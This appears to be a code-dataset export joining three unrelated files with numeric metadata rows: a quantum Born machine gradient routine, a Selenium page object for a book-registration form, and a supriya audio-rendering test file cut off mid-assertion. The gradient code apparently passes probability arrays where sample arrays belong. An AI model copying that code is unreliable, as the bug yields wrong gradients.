aux.ExtractSampleInformation(born_samples_minus) if cost_func.lower() == 'mmd': score_choice = stein_params[0] if score_choice.lower() == 'approx': if flag.lower() == 'onfly': if kernel_choice.lower() == 'gaussian': sigma = np.array([0.25, 10, 1000]) #Compute the Gaussian kernel on the fly for all pairs of samples required kernel_born_plus_emp = GaussianKernelArray(born_emp_samples, born_plus_emp_samples, sigma) kernel_born_minus_emp = GaussianKernelArray(born_emp_samples, born_minus_emp_probs, sigma) kernel_data_plus_emp = GaussianKernelArray(data_emp_samples, born_plus_emp_samples, sigma) kernel_data_minus_emp = GaussianKernelArray(data_emp_samples, born_minus_emp_probs, sigma) elif kernel_choice.lower() == 'quantum': N_kernel_samples = N_samples[-1] #Number of kernel samples is the last element of N_samples #Compute the Quantum kernel on the fly for all pairs of samples required kernel_born_plus_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_plus_emp_samples) kernel_born_minus_emp,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_minus_emp_probs) kernel_data_plus_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, data_emp_samples, born_plus_emp_samples) kernel_data_minus_emp,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, data_emp_samples, born_minus_emp_probs) elif flag.lower() == 'precompute': #To speed up computation, read in precomputed kernel dicrionary from a file. kernel_dict = KernelDictFromFile(qc, N_samples, kernel_choice) kernel_born_plus_emp = KernelSum(born_emp_samples, born_plus_emp_samples, kernel_dict) kernel_born_minus_emp = KernelSum(born_emp_samples, born_minus_emp_samples, kernel_dict) kernel_data_plus_emp = KernelSum(data_emp_samples, born_plus_emp_samples, kernel_dict) kernel_data_minus_emp = KernelSum(data_emp_samples, born_minus_emp_samples, kernel_dict) else: raise ValueError('\'flag\' must be either \'Onfly\' or \'Precompute\'') loss_grad = 2*( np.dot(np.dot(born_emp_probs, kernel_born_minus_emp), born_minus_emp_probs) \ - np.dot(np.dot(born_emp_probs, kernel_born_plus_emp), born_plus_emp_probs) \ - np.dot(np.dot(data_emp_probs, kernel_data_minus_emp), born_minus_emp_probs) \ + np.dot(np.dot(data_emp_probs, kernel_data_plus_emp), born_plus_emp_probs) ) elif score_choice.lower() == 'exact': #Compute MMD using exact data probabilities if score is exact data_exact_samples = aux.SampleListToArray(list(data_exact_dict.keys()), len(qc.qubits()), 'int') data_exact_probs = np.asarray(list(data_exact_dict.values())) if flag.lower() == 'onfly': if kernel_choice.lower() == 'gaussian': sigma = np.array([0.25, 10, 1000]) #Compute the Gaussian kernel on the fly for all pairs of samples required kernel_born_plus_emp = GaussianKernelArray(born_emp_samples, born_plus_emp_samples, sigma) kernel_born_minus_emp = GaussianKernelArray(born_emp_samples, born_minus_emp_probs, sigma) kernel_data_plus_emp = GaussianKernelArray(data_exact_samples, born_plus_emp_samples, sigma) kernel_data_minus_emp = GaussianKernelArray(data_exact_samples, born_minus_emp_probs, sigma) elif kernel_choice.lower() == 'quantum': N_kernel_samples = N_samples[-1] #Number of kernel samples is the last element of N_samples #Compute the Quantum kernel on the fly for all pairs of samples required kernel_born_plus_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_plus_emp_samples) kernel_born_minus_emp,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_minus_emp_probs) kernel_data_plus_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, data_exact_samples, born_plus_emp_samples) kernel_data_minus_emp,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, data_exact_samples, born_minus_emp_probs) elif flag.lower() == 'precompute': #To speed up computation, read in precomputed kernel dicrionary from a file. kernel_dict = KernelDictFromFile(qc, N_samples, kernel_choice) kernel_born_plus_emp = KernelSum(born_emp_samples, born_plus_emp_samples, kernel_dict) kernel_born_minus_emp = KernelSum(born_emp_samples, born_minus_emp_samples, kernel_dict) kernel_data_plus_emp = KernelSum(data_exact_samples, born_plus_emp_samples, kernel_dict) kernel_data_minus_emp = KernelSum(data_exact_samples, born_minus_emp_samples, kernel_dict) else: raise ValueError('\'flag\' must be either \'Onfly\' or \'Precompute\'') loss_grad = 2*( np.dot(np.dot(born_emp_probs, kernel_born_minus_emp), born_minus_emp_probs) \ - np.dot(np.dot(born_emp_probs, kernel_born_plus_emp), born_plus_emp_probs) \ - np.dot(np.dot(data_exact_probs, kernel_data_minus_emp), born_minus_emp_probs) \ + np.dot(np.dot(data_exact_probs, kernel_data_plus_emp), born_plus_emp_probs) ) elif cost_func.lower() == 'stein': sigma = np.array([0.25, 10, 1000]) [born_samples_plus, born_samples_minus] = born_samples_pm if flag.lower() == 'onfly': if kernel_choice.lower() == 'gaussian': sigma = np.array([0.25, 10, 1000]) #Compute the Gaussian kernel on the fly for all pairs of samples required kernel_born_plus_emp = GaussianKernelArray(born_emp_samples, born_plus_emp_samples, sigma) kernel_born_minus_emp = GaussianKernelArray(born_emp_samples, born_minus_emp_probs, sigma) elif kernel_choice.lower() == 'quantum': N_kernel_samples = N_samples[-1] #Number of kernel samples is the last element of N_samples #Compute the Quantum kernel on the fly for all pairs of samples required kernel_born_plus_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_plus_emp_samples) kernel_born_minus_emp,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_minus_emp_probs) elif flag.lower() == 'precompute': #To speed up computation, read in precomputed kernel dicrionary from a file. kernel_dict = KernelDictFromFile(qc, N_samples, kernel_choice) kernel_born_plus_emp = KernelSum(born_emp_samples, born_plus_emp_samples, kernel_dict) kernel_born_minus_emp = KernelSum(born_emp_samples, born_minus_emp_samples, kernel_dict) kernel_plus_born_emp = np.transpose(kernel_born_plus_emp) kernel_minus_born_emp = np.transpose(kernel_born_minus_emp) stein_kernel_choice = stein_params[3] # Compute the weighted kernel for each pair of samples required in the gradient of Stein Cost Function kappa_q_born_bornplus = sf.WeightedKernel(qc, stein_kernel_choice, kernel_born_plus_emp, N_samples, data_samples, data_exact_dict,\ born_emp_samples, born_plus_emp_samples, stein_params, flag) kappa_q_bornplus_born = sf.WeightedKernel(qc, stein_kernel_choice, kernel_plus_born_emp, N_samples, data_samples, \ data_exact_dict, born_plus_emp_samples, born_emp_samples, stein_params, flag) kappa_q_born_bornminus = sf.WeightedKernel(qc, stein_kernel_choice, kernel_born_minus_emp, N_samples, data_samples,\ data_exact_dict, born_emp_samples, born_minus_emp_samples, stein_params, flag) kappa_q_bornminus_born = sf.WeightedKernel(qc, stein_kernel_choice, kernel_minus_born_emp, N_samples, data_samples,\ data_exact_dict, born_minus_emp_samples, born_emp_samples, stein_params, flag) loss_grad = np.dot(np.dot(born_emp_probs, kappa_q_born_bornminus), born_minus_emp_probs) \ + np.dot(np.dot(born_minus_emp_probs, kappa_q_bornminus_born), born_emp_probs) \ - np.dot(np.dot(born_emp_probs, kappa_q_born_bornplus), born_plus_emp_probs) \ - np.dot(np.dot(born_plus_emp_probs, kappa_q_bornplus_born), born_emp_probs) elif cost_func.lower() == 'sinkhorn': # loss_grad = shornfun.SinkhornGrad(born_samples_pm, data_samples, sinkhorn_eps) loss_grad = shornfun.SinkGrad(born_samples, born_samples_pm, data_samples, sinkhorn_eps) else: raise ValueError('\'cost_func\' must be either \'MMD\', \'Stein\', or \'Sinkhorn\' ') return loss_grad

60.580328

139

0.661796

2,277

18,477

4.958718

0.075099

0.080595

0.059516

0.04942

0.840847

0.828093

0.802055

0.77823

0.728988

0.694004

0

0.007552

0.261839

18,477

304

140

60.779605

0.820295

0.120041

0

0.544041

0

0.031339

0

1

0.015544

false

0

0.062176

0

0.093264

0

null

0

1

0

null

0

6

706d1d9850e37e657caa2704bd798d9015a6db7e

2,065

py

Python

script/pages/regist_page.py

ybkuroki/selenium-e2e-sample

18a7e92d9b338104ac8b418a6987cadfd1c12d39

[ "MIT" ]

1

2021-09-08T20:05:40.000Z

script/pages/regist_page.py

ybkuroki/selenium-e2e-sample

18a7e92d9b338104ac8b418a6987cadfd1c12d39

[ "MIT" ]

null

script/pages/regist_page.py

ybkuroki/selenium-e2e-sample

18a7e92d9b338104ac8b418a6987cadfd1c12d39

[ "MIT" ]

null

#!/usr/local/bin/python3 from selenium.webdriver.common.keys import Keys from pages import PageObject from time import sleep # 登録画面 class RegistPage(PageObject): # 新規登録メニューを押下する。 def click_regist_menu(self): self.find_element_by_xpath("//div[contains(@class, 'ui fixed top menu')]/a[contains(@class, 'item')][2]").click() sleep(1) # 書籍タイトルを入力する。 def set_title(self, title): self.find_element_by_xpath("//div[contains(@class, 'ui modal visible active')]/div[contains(@class, 'content')]/div[contains(@class, 'ui form')]/div[contains(@class, 'field')][1]/input").send_keys(title) # ISBNを入力する。 def set_isbn(self, isbn): self.find_element_by_xpath("//div[contains(@class, 'ui modal visible active')]/div[contains(@class, 'content')]/div[contains(@class, 'ui form')]/div[contains(@class, 'field')][2]/input").send_keys(isbn) # カテゴリを設定する。 def set_category(self, category): self.find_element_by_xpath("//div[contains(@class, 'ui modal visible active')]/div[contains(@class, 'content')]/div[contains(@class, 'ui form')]/div[contains(@class, 'field')][3]/div[contains(@class, 'ui selection dropdown')]").click() sleep(0.5) self.find_element_by_xpath("//div[contains(@class, 'menu transition visible')]/div[contains(text(), '" + category + "')]").click() sleep(0.5) # 形式を設定する。 def set_format(self, format): self.find_element_by_xpath("//div[contains(@class, 'ui modal visible active')]/div[contains(@class, 'content')]/div[contains(@class, 'ui form')]/div[contains(@class, 'field')][4]/div[contains(@class, 'ui selection dropdown')]").click() sleep(0.5) self.find_element_by_xpath("//div[contains(@class, 'menu transition visible')]/div[contains(text(), '" + format + "')]").click() sleep(0.5) # 登録ボタンを押下する。 def click_regist_button(self): self.find_element_by_xpath("//div[contains(@class, 'ui modal visible active')]/div[contains(@class, 'actions')]/div[contains(text(), '登録')]").click() sleep(5)

51.625

243

0.660048

272

2,065

4.886029

0.238971

0.215199

0.2769

0.162528

0.647103

0

0.00907

0.145763

2,065

39

244

52.948718

0.744331

0.047942

0

0.166667

0

0.25

0.534219

0.384065

0

1

0.25

false

0

0.125

0

0.416667

0

null

1

0

1

0

1

0

null

0

1

0

6

70a4dd3264345101446d0a6410a8c131eec1b019

41,573

py

Python

tests/nonrealtime/test_nonrealtime_Session_render.py

deeuu/supriya

14fcb5316eccb4dafbe498932ceff56e1abb9d27

[ "MIT" ]

null

tests/nonrealtime/test_nonrealtime_Session_render.py

deeuu/supriya

14fcb5316eccb4dafbe498932ceff56e1abb9d27

[ "MIT" ]

null

tests/nonrealtime/test_nonrealtime_Session_render.py

deeuu/supriya

14fcb5316eccb4dafbe498932ceff56e1abb9d27

[ "MIT" ]

null

import os import pathlib import pprint import pytest import uqbar.strings import supriya import supriya.nonrealtime import supriya.soundfiles def test_00a(nonrealtime_paths): """ No input, no output file path specified, no render path specified. """ session = pytest.helpers.make_test_session() exit_code, output_file_path = session.render() pytest.helpers.assert_soundfile_ok(output_file_path, exit_code, 10.0, 44100, 8) assert pathlib.Path(supriya.output_path) in output_file_path.parents assert pytest.helpers.sample_soundfile(output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } def test_00b(nonrealtime_paths): """ No input, no output file path specified, render path specified. """ session = pytest.helpers.make_test_session() exit_code, output_file_path = session.render( render_directory_path=nonrealtime_paths.render_directory_path ) pytest.helpers.assert_soundfile_ok(output_file_path, exit_code, 10.0, 44100, 8) assert ( pathlib.Path(nonrealtime_paths.render_directory_path) in output_file_path.parents ) assert pytest.helpers.sample_soundfile(output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } def test_00c(nonrealtime_paths): """ No input, no output file path specified, no render path specified, output already exists. """ session = pytest.helpers.make_test_session() osc_path = pathlib.Path().joinpath( supriya.output_path, "session-7b3f85710f19667f73f745b8ac8080a0.osc" ) aiff_path = pathlib.Path().joinpath( supriya.output_path, "session-7b3f85710f19667f73f745b8ac8080a0.aiff" ) if osc_path.exists(): osc_path.unlink() if aiff_path.exists(): aiff_path.unlink() exit_code, output_file_path = session.render() pytest.helpers.assert_soundfile_ok(output_file_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } executable = os.environ.get("SCSYNTH_PATH", "scsynth") assert session.transcript == [ "Writing session-7b3f85710f19667f73f745b8ac8080a0.osc.", " Wrote session-7b3f85710f19667f73f745b8ac8080a0.osc.", "Rendering session-7b3f85710f19667f73f745b8ac8080a0.osc.", f" Command: {executable} -N session-7b3f85710f19667f73f745b8ac8080a0.osc _ session-7b3f85710f19667f73f745b8ac8080a0.aiff 44100 aiff int24", " Rendered session-7b3f85710f19667f73f745b8ac8080a0.osc with exit code 0.", ] assert output_file_path == aiff_path assert osc_path.exists() assert aiff_path.exists() exit_code, output_file_path = session.render() pytest.helpers.assert_soundfile_ok(output_file_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } assert session.transcript == [ "Writing session-7b3f85710f19667f73f745b8ac8080a0.osc.", " Skipped session-7b3f85710f19667f73f745b8ac8080a0.osc. File already exists.", "Rendering session-7b3f85710f19667f73f745b8ac8080a0.osc.", " Skipped session-7b3f85710f19667f73f745b8ac8080a0.osc. Output already exists.", ] assert output_file_path == aiff_path assert osc_path.exists() assert aiff_path.exists() osc_path.unlink() exit_code, output_file_path = session.render() pytest.helpers.assert_soundfile_ok(output_file_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } assert session.transcript == [ "Writing session-7b3f85710f19667f73f745b8ac8080a0.osc.", " Wrote session-7b3f85710f19667f73f745b8ac8080a0.osc.", "Rendering session-7b3f85710f19667f73f745b8ac8080a0.osc.", " Skipped session-7b3f85710f19667f73f745b8ac8080a0.osc. Output already exists.", ] assert output_file_path == aiff_path assert osc_path.exists() assert aiff_path.exists() aiff_path.unlink() exit_code, output_file_path = session.render() pytest.helpers.assert_soundfile_ok(output_file_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } assert session.transcript == [ "Writing session-7b3f85710f19667f73f745b8ac8080a0.osc.", " Skipped session-7b3f85710f19667f73f745b8ac8080a0.osc. File already exists.", "Rendering session-7b3f85710f19667f73f745b8ac8080a0.osc.", f" Command: {executable} -N session-7b3f85710f19667f73f745b8ac8080a0.osc _ session-7b3f85710f19667f73f745b8ac8080a0.aiff 44100 aiff int24", " Rendered session-7b3f85710f19667f73f745b8ac8080a0.osc with exit code 0.", ] assert output_file_path == aiff_path assert osc_path.exists() assert aiff_path.exists() def test_01(nonrealtime_paths): """ No input. """ session = pytest.helpers.make_test_session() synthdef = pytest.helpers.build_dc_synthdef(8) assert synthdef.anonymous_name == "b47278d408f17357f6b260ec30ea213d" assert session.to_lists() == [ [ 0.0, [ ["/d_recv", synthdef.compile()], ["/s_new", "b47278d408f17357f6b260ec30ea213d", 1000, 0, 0, "source", 0], ], ], [2.0, [["/n_set", 1000, "source", 0.25]]], [4.0, [["/n_set", 1000, "source", 0.5]]], [6.0, [["/n_set", 1000, "source", 0.75]]], [8.0, [["/n_set", 1000, "source", 1.0]]], [10.0, [["/n_free", 1000], [0]]], ] exit_code, _ = session.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok( nonrealtime_paths.output_file_path, exit_code, 10.0, 44100, 8 ) assert pytest.helpers.sample_soundfile(nonrealtime_paths.output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-7b3f85710f19667f73f745b8ac8080a0 source: null """ ) def test_02(nonrealtime_paths): """ Soundfile NRT input, matched channels. """ path_one = nonrealtime_paths.output_directory_path / "output-one.aiff" path_two = nonrealtime_paths.output_directory_path / "output-two.aiff" session_one = pytest.helpers.make_test_session() exit_code, _ = session_one.render( path_one, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(path_one, exit_code, 10.0, 44100, 8) session_two = supriya.nonrealtime.Session(input_=path_one) synthdef = pytest.helpers.build_multiplier_synthdef(8) with session_two.at(0): session_two.add_synth( synthdef=synthdef, duration=10, in_bus=session_two.audio_input_bus_group, out_bus=session_two.audio_output_bus_group, multiplier=-0.5, ) exit_code, _ = session_two.render( path_two, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(path_two, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(path_two) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [-0.125, -0.125, -0.125, -0.125, -0.125, -0.125, -0.125, -0.125], 0.41: [-0.25, -0.25, -0.25, -0.25, -0.25, -0.25, -0.25, -0.25], 0.61: [-0.375, -0.375, -0.375, -0.375, -0.375, -0.375, -0.375, -0.375], 0.81: [-0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5], 0.99: [-0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5], } assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-34a8138953258b32d05ed6e09ebdf5b7 source: null """ ) def test_03(nonrealtime_paths): """ Soundfile NRT input, mismatched channels. """ path_one = nonrealtime_paths.output_directory_path / "output-one.aiff" path_two = nonrealtime_paths.output_directory_path / "output-two.aiff" session_one = pytest.helpers.make_test_session() exit_code, _ = session_one.render( path_one, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(path_one, exit_code, 10.0, 44100, 8) session_two = supriya.nonrealtime.Session( input_=path_one, input_bus_channel_count=2, output_bus_channel_count=4 ) synthdef = pytest.helpers.build_multiplier_synthdef(4) with session_two.at(0): session_two.add_synth( synthdef=synthdef, duration=10, in_bus=session_two.audio_input_bus_group, out_bus=session_two.audio_output_bus_group, multiplier=-0.5, ) assert session_two.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(synthdef.compile())], [ "/s_new", "1d83a887914f0ac8ac3de461f4cc637c", 1000, 0, 0, "in_bus", 4, "multiplier", -0.5, "out_bus", 0, ], ], ], [10.0, [["/n_free", 1000], [0]]], ] exit_code, _ = session_two.render( path_two, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(path_two, exit_code, 10.0, 44100, 4) assert pytest.helpers.sample_soundfile(path_two) == { 0.0: [0.0, 0.0, 0.0, 0.0], 0.21: [-0.125, -0.125, -0.125, -0.125], 0.41: [-0.25, -0.25, -0.25, -0.25], 0.61: [-0.375, -0.375, -0.375, -0.375], 0.81: [-0.5, -0.5, -0.5, -0.5], 0.99: [-0.5, -0.5, -0.5, -0.5], } assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-f90a25f63698e1c8c4f6fe63d7d87bc4 source: null """ ) def test_04(nonrealtime_paths): """ Session NRT input, matched channels. """ session_one = pytest.helpers.make_test_session() session_two = supriya.nonrealtime.Session(input_=session_one, name="outer-session") synthdef = pytest.helpers.build_multiplier_synthdef(8) with session_two.at(0): session_two.add_synth( synthdef=synthdef, duration=10, in_bus=session_two.audio_input_bus_group, out_bus=session_two.audio_output_bus_group, multiplier=-0.5, ) assert session_two.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(synthdef.compile())], [ "/s_new", "76abe8508565e1ca3dd243fe960a6945", 1000, 0, 0, "in_bus", 8, "multiplier", -0.5, "out_bus", 0, ], ], ], [10.0, [["/n_free", 1000], [0]]], ] exit_code, _ = session_two.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok( nonrealtime_paths.output_file_path, exit_code, 10.0, 44100, 8 ) assert pytest.helpers.sample_soundfile(nonrealtime_paths.output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [-0.125, -0.125, -0.125, -0.125, -0.125, -0.125, -0.125, -0.125], 0.41: [-0.25, -0.25, -0.25, -0.25, -0.25, -0.25, -0.25, -0.25], 0.61: [-0.375, -0.375, -0.375, -0.375, -0.375, -0.375, -0.375, -0.375], 0.81: [-0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5], 0.99: [-0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5], } assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-0038ce94f2ab7825919c1b5e1d5f2e82 source: - session-7b3f85710f19667f73f745b8ac8080a0 """ ) def test_05(nonrealtime_paths): """ Soundfile DiskIn input. """ path_one = nonrealtime_paths.output_directory_path / "output-one.aiff" path_two = nonrealtime_paths.output_directory_path / "output-two.aiff" session_one = pytest.helpers.make_test_session() exit_code, _ = session_one.render( path_one, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(path_one, exit_code, 10.0, 44100, 8) session_two = supriya.nonrealtime.Session() synthdef = pytest.helpers.build_diskin_synthdef(channel_count=8) with session_two.at(0): buffer_ = session_two.cue_soundfile(path_one, duration=10) session_two.add_synth(synthdef=synthdef, buffer_id=buffer_, duration=10) print(path_one) pprint.pprint(session_one.to_lists()) print(path_two) pprint.pprint(session_two.to_lists()) assert session_two.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(synthdef.compile())], ["/b_alloc", 0, 32768, 8], ["/b_read", 0, str(path_one), 0, -1, 0, 1], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1000, 0, 0, "buffer_id", 0, ], ], ], [10.0, [["/n_free", 1000], ["/b_close", 0], ["/b_free", 0], [0]]], ] exit_code, _ = session_two.render( path_two, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(path_two, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(path_two) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } # NOTE: Render YML is not portable across systems. # Do not verify its output. assert nonrealtime_paths.render_yml_file_path.exists() def test_06(nonrealtime_paths): """ Session DiskIn input. """ session_one = pytest.helpers.make_test_session() session_two = supriya.nonrealtime.Session(name="outer-session") synthdef = pytest.helpers.build_diskin_synthdef(channel_count=8) with session_two.at(0): buffer_ = session_two.cue_soundfile(session_one, duration=10) session_two.add_synth(synthdef=synthdef, buffer_id=buffer_, duration=10) assert session_two.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(synthdef.compile())], ["/b_alloc", 0, 32768, 8], [ "/b_read", 0, "session-7b3f85710f19667f73f745b8ac8080a0.aiff", 0, -1, 0, 1, ], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1000, 0, 0, "buffer_id", 0, ], ], ], [10.0, [["/n_free", 1000], ["/b_close", 0], ["/b_free", 0], [0]]], ] exit_code, _ = session_two.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok( nonrealtime_paths.output_file_path, exit_code, 10.0, 44100, 8 ) assert pytest.helpers.sample_soundfile(nonrealtime_paths.output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-fbd50fbec743e7758481debe0450f38c source: - session-7b3f85710f19667f73f745b8ac8080a0 """ ) def test_07(nonrealtime_paths): """ Chained Session DiskIn input. """ session_one = pytest.helpers.make_test_session() session_two = supriya.nonrealtime.Session(name="middle-session") session_three = supriya.nonrealtime.Session(name="outer-session") diskin_synthdef = pytest.helpers.build_diskin_synthdef(channel_count=8) multiplier_synthdef = pytest.helpers.build_multiplier_synthdef(channel_count=8) with session_two.at(0): buffer_ = session_two.cue_soundfile(session_one, duration=10) synth = session_two.add_synth( synthdef=diskin_synthdef, buffer_id=buffer_, duration=10 ) synth.add_synth( add_action="ADD_AFTER", duration=10, synthdef=multiplier_synthdef, multiplier=-1.0, ) with session_three.at(0): buffer_ = session_three.cue_soundfile(session_two, duration=10) synth = session_three.add_synth( synthdef=diskin_synthdef, buffer_id=buffer_, duration=10 ) synth.add_synth( add_action="ADD_AFTER", duration=10, synthdef=multiplier_synthdef, multiplier=-0.5, ) d_recv_commands = pytest.helpers.build_d_recv_commands( [diskin_synthdef, multiplier_synthdef] ) buffer_one_name = "session-7b3f85710f19667f73f745b8ac8080a0.aiff" assert 